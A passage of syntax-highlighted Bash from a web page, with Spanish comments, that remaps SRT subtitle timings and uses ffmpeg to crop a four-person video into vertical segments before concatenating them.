</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">((</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$total_seconds<span style="color:#e6db74"> < 0"</span> | bc -l<span style="color:#66d9ef">)</span> <span style="color:#f92672">))</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"00:00:00,000"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> local hours<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>printf <span style="color:#e6db74">"%.0f"</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$total_seconds<span style="color:#e6db74"> / 3600"</span> | bc -l<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span> local remainder<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$total_seconds<span style="color:#e6db74"> - (</span>$hours<span style="color:#e6db74"> * 3600)"</span> | bc -l<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> local minutes<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>printf <span style="color:#e6db74">"%.0f"</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$remainder<span style="color:#e6db74"> / 60"</span> | bc -l<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span> local seconds_decimal<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$remainder<span style="color:#e6db74"> - (</span>$minutes<span style="color:#e6db74"> * 60)"</span> | bc -l<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> local secs_int<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>printf <span style="color:#e6db74">"%.0f"</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$seconds_decimal<span style="color:#e6db74">"</span> | bc -l<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span> local milliseconds<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>printf <span style="color:#e6db74">"%.0f"</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"(</span>$seconds_decimal<span style="color:#e6db74"> - </span>$secs_int<span style="color:#e6db74">) * 1000"</span> | bc -l<span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> printf <span style="color:#e6db74">"%02d:%02d:%02d,%03d"</span> <span style="color:#e6db74">"</span>$hours<span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$minutes<span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$secs_int<span style="color:#e6db74">"</span> <span style="color:#e6db74">"</span>$milliseconds<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Procesar segmentos y crear SRT ajustado si es necesario</span>
</span></span><span style="display:flex;"><span>segment_num<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>concat_file<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$TEMP_DIR<span style="color:#e6db74">/concat_list.txt"</span>
</span></span><span style="display:flex;"><span>> <span style="color:#e6db74">"</span>$concat_file<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $USE_SUBTITLES -eq <span style="color:#ae81ff">1</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> ADJUSTED_SRT<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$TEMP_DIR<span style="color:#e6db74">/adjusted_subtitles.srt"</span>
</span></span><span style="display:flex;"><span> > <span style="color:#e6db74">"</span>$ADJUSTED_SRT<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> subtitle_counter<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Procesando subtítulos globalmente..."</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Parsear todos los segmentos primero</span>
</span></span><span style="display:flex;"><span> declare -a seg_starts
</span></span><span style="display:flex;"><span> declare -a seg_durations
</span></span><span style="display:flex;"><span> seg_count<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> seg in $SEGMENTS; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> IFS<span style="color:#f92672">=</span><span style="color:#e6db74">':'</span> read -r p s d <span style="color:#f92672"><<<</span> <span style="color:#e6db74">"</span>$seg<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> seg_starts<span style="color:#f92672">[</span>$seg_count<span style="color:#f92672">]=</span>$s
</span></span><span style="display:flex;"><span> seg_durations<span style="color:#f92672">[</span>$seg_count<span style="color:#f92672">]=</span>$d
</span></span><span style="display:flex;"><span> <span style="color:#f92672">((</span>seg_count++<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Procesar el SRT UNA SOLA VEZ y ELIMINAR SOLAPAMIENTOS</span>
</span></span><span style="display:flex;"><span> in_subtitle<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> current_offset<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> current_text<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> last_end_time<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> IFS<span style="color:#f92672">=</span> read -r line; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> $line <span style="color:#f92672">=</span>~ <span style="color:#f92672">([</span>0-9<span style="color:#f92672">]{</span>2<span style="color:#f92672">}</span>:<span style="color:#f92672">[</span>0-9<span style="color:#f92672">]{</span>2<span style="color:#f92672">}</span>:<span style="color:#f92672">[</span>0-9<span style="color:#f92672">]{</span>2<span style="color:#f92672">}</span>,<span style="color:#f92672">[</span>0-9<span style="color:#f92672">]{</span>3<span style="color:#f92672">})</span><span style="color:#ae81ff">\ </span>--<span style="color:#ae81ff">\>\ </span><span style="color:#f92672">([</span>0-9<span style="color:#f92672">]{</span>2<span style="color:#f92672">}</span>:<span style="color:#f92672">[</span>0-9<span style="color:#f92672">]{</span>2<span style="color:#f92672">}</span>:<span style="color:#f92672">[</span>0-9<span style="color:#f92672">]{</span>2<span style="color:#f92672">}</span>,<span style="color:#f92672">[</span>0-9<span style="color:#f92672">]{</span>3<span style="color:#f92672">})</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> start_ts<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>BASH_REMATCH[1]<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> end_ts<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>BASH_REMATCH[2]<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> start_sec<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>timestamp_to_seconds <span style="color:#e6db74">"</span>$start_ts<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> end_sec<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>timestamp_to_seconds <span style="color:#e6db74">"</span>$end_ts<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Buscar en qué segmento(s) cae este subtítulo</span>
</span></span><span style="display:flex;"><span> current_offset<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> found<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> <span style="color:#f92672">((</span>i<span style="color:#f92672">=</span>0; i<seg_count; i++<span style="color:#f92672">))</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> seg_start<span style="color:#f92672">=</span><span style="color:#e6db74">${</span>seg_starts[$i]<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span> seg_dur<span style="color:#f92672">=</span><span style="color:#e6db74">${</span>seg_durations[$i]<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span> seg_end<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$seg_start<span style="color:#e6db74"> + </span>$seg_dur<span style="color:#e6db74">"</span> | bc<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Si el subtítulo cruza este segmento</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">((</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$start_sec<span style="color:#e6db74"> < </span>$seg_end<span style="color:#e6db74"> && </span>$end_sec<span style="color:#e6db74"> > </span>$seg_start<span style="color:#e6db74">"</span> | bc -l<span style="color:#66d9ef">)</span> <span style="color:#f92672">))</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> new_start<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$start_sec<span style="color:#e6db74"> - </span>$seg_start<span style="color:#e6db74"> + </span>$current_offset<span style="color:#e6db74">"</span> | bc -l<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> new_end<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$end_sec<span style="color:#e6db74"> - </span>$seg_start<span style="color:#e6db74"> + </span>$current_offset<span style="color:#e6db74">"</span> | bc -l<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">((</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$new_start<span style="color:#e6db74"> < </span>$current_offset<span style="color:#e6db74">"</span> | bc -l<span style="color:#66d9ef">)</span> <span style="color:#f92672">))</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> new_start<span style="color:#f92672">=</span>$current_offset
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># EVITAR SOLAPAMIENTO: Si empieza antes de que termine el anterior, ajustar</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">((</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$new_start<span style="color:#e6db74"> < </span>$last_end_time<span style="color:#e6db74">"</span> | bc -l<span style="color:#66d9ef">)</span> <span style="color:#f92672">))</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> new_start<span style="color:#f92672">=</span>$last_end_time
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">((</span> <span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$new_end<span style="color:#e6db74"> > </span>$new_start<span style="color:#e6db74"> + 0.1"</span> | bc -l<span style="color:#66d9ef">)</span> <span style="color:#f92672">))</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> new_start_ts<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>seconds_to_timestamp <span style="color:#e6db74">"</span>$new_start<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> new_end_ts<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>seconds_to_timestamp <span style="color:#e6db74">"</span>$new_end<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> in_subtitle<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> found<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> current_text<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$subtitle_counter<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span>$new_start_ts<span style="color:#e6db74"> --> </span>$new_end_ts<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">((</span>subtitle_counter++<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span> last_end_time<span style="color:#f92672">=</span>$new_end
</span></span><span style="display:flex;"><span> break
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> current_offset<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$current_offset<span style="color:#e6db74"> + </span>$seg_dur<span style="color:#e6db74">"</span> | bc -l<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $found -eq <span style="color:#ae81ff">0</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> in_subtitle<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> current_text<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> <span style="color:#f92672">[</span> -n <span style="color:#e6db74">"</span>$line<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $in_subtitle -eq <span style="color:#ae81ff">1</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> <span style="color:#f92672">[[</span> ! $line <span style="color:#f92672">=</span>~ ^<span style="color:#f92672">[</span>0-9<span style="color:#f92672">]</span>+$ <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> current_text<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>current_text<span style="color:#e6db74">}${</span>line<span style="color:#e6db74">}</span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">elif</span> <span style="color:#f92672">[</span> -z <span style="color:#e6db74">"</span>$line<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> <span style="color:#f92672">[</span> $in_subtitle -eq <span style="color:#ae81ff">1</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo -n <span style="color:#e6db74">"</span>$current_text<span style="color:#e6db74">"</span> >> <span style="color:#e6db74">"</span>$ADJUSTED_SRT<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span> >> <span style="color:#e6db74">"</span>$ADJUSTED_SRT<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> in_subtitle<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span> current_text<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">done</span> < <span style="color:#e6db74">"</span>$INPUT_SRT<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"✓ Subtítulos procesados (sin solapamientos)"</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Arrays para guardar info de segmentos</span>
</span></span><span style="display:flex;"><span>declare -a segment_starts
</span></span><span style="display:flex;"><span>declare -a segment_durations
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> segment in $SEGMENTS; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> IFS<span style="color:#f92672">=</span><span style="color:#e6db74">':'</span> read -r person start_time duration <span style="color:#f92672"><<<</span> <span style="color:#e6db74">"</span>$segment<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$person<span style="color:#e6db74">"</span> -lt <span style="color:#ae81ff">1</span> <span style="color:#f92672">]</span> <span style="color:#f92672">||</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$person<span style="color:#e6db74">"</span> -gt <span style="color:#ae81ff">4</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Error: Persona debe estar entre 1 y 4"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$duration<span style="color:#e6db74">"</span> -le <span style="color:#ae81ff">0</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Error: Duración debe ser positiva (segmento: </span>$segment<span style="color:#e6db74">)"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> segment_starts<span style="color:#f92672">[</span>$segment_num<span style="color:#f92672">]=</span>$start_time
</span></span><span style="display:flex;"><span> segment_durations<span style="color:#f92672">[</span>$segment_num<span style="color:#f92672">]=</span>$duration
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> end_time<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>echo <span style="color:#e6db74">"</span>$start_time<span style="color:#e6db74"> + </span>$duration<span style="color:#e6db74">"</span> | bc<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> $person in
</span></span><span style="display:flex;"><span> 1<span style="color:#f92672">)</span> crop_x<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> ;;
</span></span><span style="display:flex;"><span> 2<span style="color:#f92672">)</span> crop_x<span style="color:#f92672">=</span>$QUAD_WIDTH ;;
</span></span><span style="display:flex;"><span> 3<span style="color:#f92672">)</span> crop_x<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span>QUAD_WIDTH <span style="color:#f92672">*</span> <span style="color:#ae81ff">2</span><span style="color:#66d9ef">))</span> ;;
</span></span><span style="display:flex;"><span> 4<span style="color:#f92672">)</span> crop_x<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span>QUAD_WIDTH <span style="color:#f92672">*</span> <span style="color:#ae81ff">3</span><span style="color:#66d9ef">))</span> ;;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">esac</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> output_segment<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$TEMP_DIR<span style="color:#e6db74">/segment_</span><span style="color:#e6db74">${</span>segment_num<span style="color:#e6db74">}</span><span style="color:#e6db74">.mp4"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"----------------------------------------"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"Segmento </span><span style="color:#66d9ef">$((</span>segment_num <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span><span style="color:#66d9ef">))</span><span style="color:#e6db74">:"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" Persona: </span>$person<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" Inicio: </span><span style="color:#e6db74">${</span>start_time<span style="color:#e6db74">}</span><span style="color:#e6db74">s | Duración: </span><span style="color:#e6db74">${</span>duration<span style="color:#e6db74">}</span><span style="color:#e6db74">s | Fin: </span><span style="color:#e6db74">${</span>end_time<span style="color:#e6db74">}</span><span style="color:#e6db74">s"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" Crop X: </span>$crop_x<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" Procesando video..."</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Construir filtro de video</span>
</span></span><span style="display:flex;"><span> vf_filter<span style="color:#f92672">=</span><span style="color:#e6db74">"crop=</span><span style="color:#e6db74">${</span>QUAD_WIDTH<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>HEIGHT<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>crop_x<span style="color:#e6db74">}</span><span style="color:#e6db74">:0,scale=</span><span style="color:#e6db74">${</span>VERTICAL_WIDTH<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>VERTICAL_HEIGHT<span style="color:#e6db74">}</span><span style="color:#e6db74">:force_original_aspect_ratio=decrease,pad=</span><span style="color:#e6db74">${</span>VERTICAL_WIDTH<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>VERTICAL_HEIGHT<span style="color:#e6db74">}</span><span style="color:#e6db74">:(ow-iw)/2:(oh-ih)/2:black,setsar=1"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> ffmpeg -y -ss <span style="color:#e6db74">"</span>$start_time<span style="color:#e6db74">"</span> -t <span style="color:#e6db74">"</span>$duration<span style="color:#e6db74">"</span> -i <span style="color:#e6db74">"</span>$INPUT_VIDEO<span style="color:#e6db74">"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -vf <span style="color:#e6db74">"</span>$vf_filter<span style="color:#e6db74">"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:v libx264 -preset fast -crf <span style="color:#ae81ff">18</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:a aac -b:a 192k <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -movflags +faststart <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#e6db74">"</span>$output_segment<span style="color:#e6db74">"</span> 2>&<span style="color:#ae81ff">1</span> | grep -E <span style="color:#e6db74">"(time=|Duration|error|Error)"</span> | tail -3 <span style="color:#f92672">||</span> true
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $? -eq <span style="color:#ae81ff">0</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> <span style="color:#f92672">[</span> -f <span style="color:#e6db74">"</span>$output_segment<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> file_size<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>stat -c%s <span style="color:#e6db74">"</span>$output_segment<span style="color:#e6db74">"</span> 2>/dev/null <span style="color:#f92672">||</span> stat -f%z <span style="color:#e6db74">"</span>$output_segment<span style="color:#e6db74">"</span> 2>/dev/null<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> <span style="color:#e6db74">"</span>$file_size<span style="color:#e6db74">"</span> -gt <span style="color:#ae81ff">1000</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" ✓ Segmento creado (</span><span style="color:#e6db74">${</span>file_size<span style="color:#e6db74">}</span><span style="color:#e6db74"> bytes)"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"file '</span><span style="color:#66d9ef">$(</span>basename <span style="color:#e6db74">"</span>$output_segment<span style="color:#e6db74">"</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">'"</span> >> <span style="color:#e6db74">"</span>$concat_file<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" ✗ Error: Segmento vacío"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" ✗ Error al crear segmento"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">((</span>segment_num++<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"========================================"</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Concatenando </span>$segment_num<span style="color:#e6db74"> segmentos..."</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"========================================"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -s <span style="color:#e6db74">"</span>$concat_file<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"✗ Error: No hay segmentos para concatenar"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Concatenar segmentos</span>
</span></span><span style="display:flex;"><span>TEMP_OUTPUT<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$TEMP_DIR<span style="color:#e6db74">/temp_concatenated.mp4"</span>
</span></span><span style="display:flex;"><span>cd <span style="color:#e6db74">"</span>$TEMP_DIR<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>ffmpeg -y -f concat -safe <span style="color:#ae81ff">0</span> -i <span style="color:#e6db74">"concat_list.txt"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c copy <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -movflags +faststart <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> <span style="color:#e6db74">"temp_concatenated.mp4"</span> 2>&<span style="color:#ae81ff">1</span> | grep -E <span style="color:#e6db74">"(time=|Duration|error|Error)"</span> | tail -3 <span style="color:#f92672">||</span> true
</span></span><span style="display:flex;"><span>cd ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> ! -f <span style="color:#e6db74">"</span>$TEMP_OUTPUT<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"✗ Error al concatenar segmentos"</span>
</span></span><span style="display:flex;"><span> exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Quemar subtítulos si existen</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[</span> $USE_SUBTITLES -eq <span style="color:#ae81ff">1</span> <span style="color:#f92672">]</span> <span style="color:#f92672">&&</span> <span style="color:#f92672">[</span> -f <span style="color:#e6db74">"</span>$ADJUSTED_SRT<span style="color:#e6db74">"</span> <span style="color:#f92672">]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">"========================================"</span>
